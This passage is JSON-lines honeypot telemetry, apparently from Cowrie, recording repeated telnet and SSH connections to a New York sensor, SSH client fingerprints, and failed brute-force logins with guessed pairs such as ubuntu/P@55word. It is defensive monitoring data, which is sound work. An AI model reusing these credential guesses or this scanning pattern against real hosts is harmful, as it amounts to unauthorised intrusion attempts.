ssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:35.849297Z","src_ip":"211.186.79.173","session":"8b94e0624551","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"password","message":"login attempt [testuser/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:36.652577Z","src_ip":"211.186.79.173","session":"8b94e0624551","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":60581,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c362935dbe1","protocol":"telnet","message":"New connection: 209.205.218.26:60581 (10.17.0.5:23) [session: 2c362935dbe1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:36.876368Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:37.847155Z","src_ip":"211.186.79.173","session":"8b94e0624551","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":60690,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f79c462ceaf","protocol":"telnet","message":"New connection: 209.205.218.26:60690 (10.17.0.5:23) [session: 8f79c462ceaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:37.868229Z"}
{"eventid":"cowrie.session.closed","duration":36.78190040588379,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:38.315004Z","src_ip":"209.205.218.26","session":"dd0e81d253e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.25839304924011,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:38.323961Z","src_ip":"209.205.218.26","session":"e34427d704a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.19462275505066,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:40.098758Z","src_ip":"209.205.218.26","session":"e64e03476939","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":60946,"dst_ip":"10.17.0.5","dst_port":23,"session":"132e07312e15","protocol":"telnet","message":"New connection: 209.205.218.26:60946 (10.17.0.5:23) [session: 132e07312e15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:40.250116Z"}
{"eventid":"cowrie.session.closed","duration":37.11149549484253,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:41.660869Z","src_ip":"209.205.218.26","session":"1ffe7dbcbb63","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.91502523422241,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:41.687740Z","src_ip":"209.205.218.26","session":"051176fc83de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":32889,"dst_ip":"10.17.0.5","dst_port":23,"session":"23a0bad78a9b","protocol":"telnet","message":"New connection: 209.205.218.26:32889 (10.17.0.5:23) [session: 23a0bad78a9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:41.724926Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":32954,"dst_ip":"10.17.0.5","dst_port":23,"session":"78ceecb9f7ca","protocol":"telnet","message":"New connection: 209.205.218.26:32954 (10.17.0.5:23) [session: 78ceecb9f7ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:41.998364Z"}
{"eventid":"cowrie.session.closed","duration":0.005547523498535156,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:42.003752Z","src_ip":"209.205.218.26","session":"78ceecb9f7ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":32978,"dst_ip":"10.17.0.5","dst_port":23,"session":"c95417cb3de1","protocol":"telnet","message":"New connection: 209.205.218.26:32978 (10.17.0.5:23) [session: c95417cb3de1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:42.288090Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":33038,"dst_ip":"10.17.0.5","dst_port":23,"session":"06a1e99b12a0","protocol":"telnet","message":"New connection: 209.205.218.26:33038 (10.17.0.5:23) [session: 06a1e99b12a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:43.309462Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":33062,"dst_ip":"10.17.0.5","dst_port":23,"session":"98beac164622","protocol":"telnet","message":"New connection: 209.205.218.26:33062 (10.17.0.5:23) [session: 98beac164622]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:43.531393Z"}
{"eventid":"cowrie.session.closed","duration":35.893221855163574,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:43.663687Z","src_ip":"209.205.218.26","session":"34f266f844c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":33233,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ab58ea47b0a","protocol":"telnet","message":"New connection: 209.205.218.26:33233 (10.17.0.5:23) [session: 5ab58ea47b0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:45.069411Z"}
{"eventid":"cowrie.session.closed","duration":36.056673526763916,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:45.651509Z","src_ip":"209.205.218.26","session":"3d48d79821ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":33403,"dst_ip":"10.17.0.5","dst_port":23,"session":"310c81cefc7d","protocol":"telnet","message":"New connection: 209.205.218.26:33403 (10.17.0.5:23) [session: 310c81cefc7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:46.840688Z"}
{"eventid":"cowrie.session.closed","duration":35.827239990234375,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:47.369061Z","src_ip":"209.205.218.26","session":"9f898cda627e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":33497,"dst_ip":"10.17.0.5","dst_port":23,"session":"5bd80e51b96f","protocol":"telnet","message":"New connection: 209.205.218.26:33497 (10.17.0.5:23) [session: 5bd80e51b96f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:47.645602Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":33747,"dst_ip":"10.17.0.5","dst_port":23,"session":"f256bac777e7","protocol":"telnet","message":"New connection: 209.205.218.26:33747 (10.17.0.5:23) [session: f256bac777e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:49.670551Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":33780,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa3fa60c9992","protocol":"telnet","message":"New connection: 209.205.218.26:33780 (10.17.0.5:23) [session: fa3fa60c9992]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:49.833355Z"}
{"eventid":"cowrie.session.closed","duration":35.78157305717468,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:50.275597Z","src_ip":"209.205.218.26","session":"13a3e1af8bc3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":33932,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0a2555088ea","protocol":"telnet","message":"New connection: 209.205.218.26:33932 (10.17.0.5:23) [session: c0a2555088ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:51.779624Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":33966,"dst_ip":"10.17.0.5","dst_port":23,"session":"80ffd2081059","protocol":"telnet","message":"New connection: 209.205.218.26:33966 (10.17.0.5:23) [session: 80ffd2081059]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:51.917018Z"}
{"eventid":"cowrie.session.closed","duration":35.38341426849365,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:52.006246Z","src_ip":"209.205.218.26","session":"af46b5f0a167","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":34181,"dst_ip":"10.17.0.5","dst_port":23,"session":"88b81edb6def","protocol":"telnet","message":"New connection: 209.205.218.26:34181 (10.17.0.5:23) [session: 88b81edb6def]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:54.072847Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":34182,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c2e705154f8","protocol":"telnet","message":"New connection: 209.205.218.26:34182 (10.17.0.5:23) [session: 3c2e705154f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:54.077623Z"}
{"eventid":"cowrie.session.closed","duration":0.005442619323730469,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:54.082980Z","src_ip":"209.205.218.26","session":"3c2e705154f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.385236501693726,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:55.019033Z","src_ip":"209.205.218.26","session":"f220b7c0c04b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.84662103652954,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:55.921137Z","src_ip":"209.205.218.26","session":"866dd0a2dc8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":34549,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ca703df8204","protocol":"telnet","message":"New connection: 209.205.218.26:34549 (10.17.0.5:23) [session: 8ca703df8204]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:57.104502Z"}
{"eventid":"cowrie.session.closed","duration":35.29373741149902,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:57.155253Z","src_ip":"209.205.218.26","session":"bf2974eb6cb8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.71327066421509,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:57.562995Z","src_ip":"209.205.218.26","session":"4116b7582a00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.32682967185974,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:57.994650Z","src_ip":"209.205.218.26","session":"b290dd197436","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.60271739959717,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:59.543434Z","src_ip":"209.205.218.26","session":"d06a384312f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":34917,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f35025463eb","protocol":"telnet","message":"New connection: 209.205.218.26:34917 (10.17.0.5:23) [session: 1f35025463eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:59.594259Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":34992,"dst_ip":"10.17.0.5","dst_port":23,"session":"e099cf0a2dc9","protocol":"telnet","message":"New connection: 209.205.218.26:34992 (10.17.0.5:23) [session: e099cf0a2dc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:00.010676Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":35124,"dst_ip":"10.17.0.5","dst_port":23,"session":"14e759d11c4e","protocol":"telnet","message":"New connection: 209.205.218.26:35124 (10.17.0.5:23) [session: 14e759d11c4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:01.008958Z"}
{"eventid":"cowrie.session.closed","duration":37.210087299346924,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:01.784074Z","src_ip":"209.205.218.26","session":"95b43a60f419","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":35261,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b81dbc25499","protocol":"telnet","message":"New connection: 209.205.218.26:35261 (10.17.0.5:23) [session: 0b81dbc25499]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:02.147412Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":35282,"dst_ip":"10.17.0.5","dst_port":23,"session":"206aa6057be6","protocol":"telnet","message":"New connection: 209.205.218.26:35282 (10.17.0.5:23) [session: 206aa6057be6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:02.555419Z"}
{"eventid":"cowrie.session.closed","duration":37.135544538497925,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:02.836197Z","src_ip":"209.205.218.26","session":"699c3a581efe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":35363,"dst_ip":"10.17.0.5","dst_port":23,"session":"89a66969a70d","protocol":"telnet","message":"New connection: 209.205.218.26:35363 (10.17.0.5:23) [session: 89a66969a70d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:03.166474Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":35400,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8f8222a9a0e","protocol":"telnet","message":"New connection: 209.205.218.26:35400 (10.17.0.5:23) [session: e8f8222a9a0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:03.563359Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":35452,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d4d43a303af","protocol":"telnet","message":"New connection: 209.205.218.26:35452 (10.17.0.5:23) [session: 8d4d43a303af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:03.900450Z"}
{"eventid":"cowrie.session.closed","duration":36.13115429878235,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:03.995110Z","src_ip":"209.205.218.26","session":"7402fc504bd6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.10950756072998,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:04.770661Z","src_ip":"209.205.218.26","session":"5a8e982deb8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":35565,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd62e4767b86","protocol":"telnet","message":"New connection: 209.205.218.26:35565 (10.17.0.5:23) [session: dd62e4767b86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:04.801562Z"}
{"eventid":"cowrie.session.closed","duration":36.61411213874817,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:05.333084Z","src_ip":"209.205.218.26","session":"a4560effab58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":35614,"dst_ip":"10.17.0.5","dst_port":23,"session":"5840dd5a8562","protocol":"telnet","message":"New connection: 209.205.218.26:35614 (10.17.0.5:23) [session: 5840dd5a8562]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:05.371146Z"}
{"eventid":"cowrie.session.closed","duration":36.803117990493774,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:05.376883Z","src_ip":"209.205.218.26","session":"ba9006fa2901","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":35653,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd914bd08a1c","protocol":"telnet","message":"New connection: 209.205.218.26:35653 (10.17.0.5:23) [session: bd914bd08a1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:05.671271Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":35758,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed17bc21364c","protocol":"telnet","message":"New connection: 209.205.218.26:35758 (10.17.0.5:23) [session: ed17bc21364c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:06.893919Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":35830,"dst_ip":"10.17.0.5","dst_port":23,"session":"f742cd2f6f48","protocol":"telnet","message":"New connection: 209.205.218.26:35830 (10.17.0.5:23) [session: f742cd2f6f48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:07.909343Z"}
{"eventid":"cowrie.session.closed","duration":36.18486547470093,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:08.032793Z","src_ip":"209.205.218.26","session":"049a88c08eb3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":35875,"dst_ip":"10.17.0.5","dst_port":23,"session":"7fdbf8ad1525","protocol":"telnet","message":"New connection: 209.205.218.26:35875 (10.17.0.5:23) [session: 7fdbf8ad1525]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:08.649289Z"}
{"eventid":"cowrie.session.closed","duration":36.98921751976013,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:11.745588Z","src_ip":"209.205.218.26","session":"3eb8ea0d3865","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.044620990753174,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:13.920844Z","src_ip":"209.205.218.26","session":"2c362935dbe1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.18160605430603,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:14.049667Z","src_ip":"209.205.218.26","session":"8f79c462ceaf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.89230036735535,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:16.142327Z","src_ip":"209.205.218.26","session":"132e07312e15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.419095039367676,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:17.143909Z","src_ip":"209.205.218.26","session":"23a0bad78a9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":36980,"dst_ip":"10.17.0.5","dst_port":23,"session":"49240a721e22","protocol":"telnet","message":"New connection: 209.205.218.26:36980 (10.17.0.5:23) [session: 49240a721e22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:17.347282Z"}
{"eventid":"cowrie.session.closed","duration":48.022310733795166,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:17.609124Z","src_ip":"209.205.218.26","session":"00b7edd1b598","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.059086322784424,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:18.347065Z","src_ip":"209.205.218.26","session":"c95417cb3de1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":37104,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb63e1b010e9","protocol":"telnet","message":"New connection: 209.205.218.26:37104 (10.17.0.5:23) [session: fb63e1b010e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:18.444086Z"}
{"eventid":"cowrie.session.closed","duration":35.7046320438385,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:19.013960Z","src_ip":"209.205.218.26","session":"06a1e99b12a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":37244,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c2e5f3c2c8d","protocol":"telnet","message":"New connection: 209.205.218.26:37244 (10.17.0.5:23) [session: 1c2e5f3c2c8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:19.361476Z"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.160.153","src_port":42142,"dst_ip":"159.203.135.109","dst_port":22,"session":"641884835b82","protocol":"ssh","message":"New connection: 4.213.160.153:42142 (159.203.135.109:22) [session: 641884835b82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:20.627268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:20.635874Z","src_ip":"4.213.160.153","session":"641884835b82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:20.816611Z","src_ip":"4.213.160.153","session":"641884835b82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.37442135810852,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:21.443704Z","src_ip":"209.205.218.26","session":"5ab58ea47b0a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@55word","message":"login attempt [ubuntu/P@55word] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:21.541566Z","src_ip":"4.213.160.153","session":"641884835b82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":37590,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd2f7bf8ee97","protocol":"telnet","message":"New connection: 209.205.218.26:37590 (10.17.0.5:23) [session: bd2f7bf8ee97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:22.441989Z"}
